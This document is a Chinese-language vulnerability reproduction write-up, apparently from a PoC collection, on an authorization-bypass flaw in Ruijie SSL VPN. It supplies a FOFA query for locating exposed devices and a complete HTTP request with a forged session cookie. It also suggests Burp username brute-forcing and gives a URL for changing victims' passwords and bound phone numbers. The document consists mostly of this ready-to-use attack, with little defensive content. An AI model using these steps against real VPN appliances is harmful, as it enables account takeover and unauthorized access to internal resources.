# 锐捷SSL VPN 越权访问漏洞

## 漏洞描述

Ruijie SSL VPN 存在越权访问漏洞，攻击者在已知用户名的情况下，可以对账号进行修改密码和绑定手机的操作。并在未授权的情况下查看服务器资源

## 漏洞影响

> [!NOTE]
>
> Ruijie SSL VPN

## FOFA

> [!NOTE]
>
> icon_hash="884334722" || title="Ruijie SSL VPN"

## 漏洞复现

访问目标 http://xxx.xxx.xxx.xxx/cgi-bin/installjava.cgi

![](image/ruijie-9.png)

POC请求包如下

```
GET /cgi-bin/main.cgi?oper=getrsc HTTP/1.1
Host: xxx.xxx.xxx.xxx
Connection: close
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: UserName=xm; SessionId=1; FirstVist=1; Skin=1; tunnel=1
```

其中注意的参数为

```
Cookie: UserName=xm; SessionId=1; FirstVist=1; Skin=1; tunnel=1
```

UserName 参数为已知用户名

> [!NOTE]
>
> 在未知登录用户名的情况下 漏洞无法利用(根据请求包使用Burp进行用户名爆破)

![](image/ruijie-10.png)

用户名正确时会返回敏感信息

![](image/ruijie-11.png)

通过此方法知道用户名后可以通过漏洞修改账号参数

访问 http://xxx.xxx.xxx.xxx/cgi-bin/main.cgi?oper=showsvr&encode=GBK&username=liuw&sid=1&oper=showres

![](image/ruijie-12.png)

点击个人设置跳转页面即可修改账号信息

![](image/ruijie-13.png)

## 参考文章

https://mp.weixin.qq.com/s?__biz=MzU1NTkzMTYxOQ==&mid=2247484601&idx=1&sn=d6d6f4496243d98e688667faff137973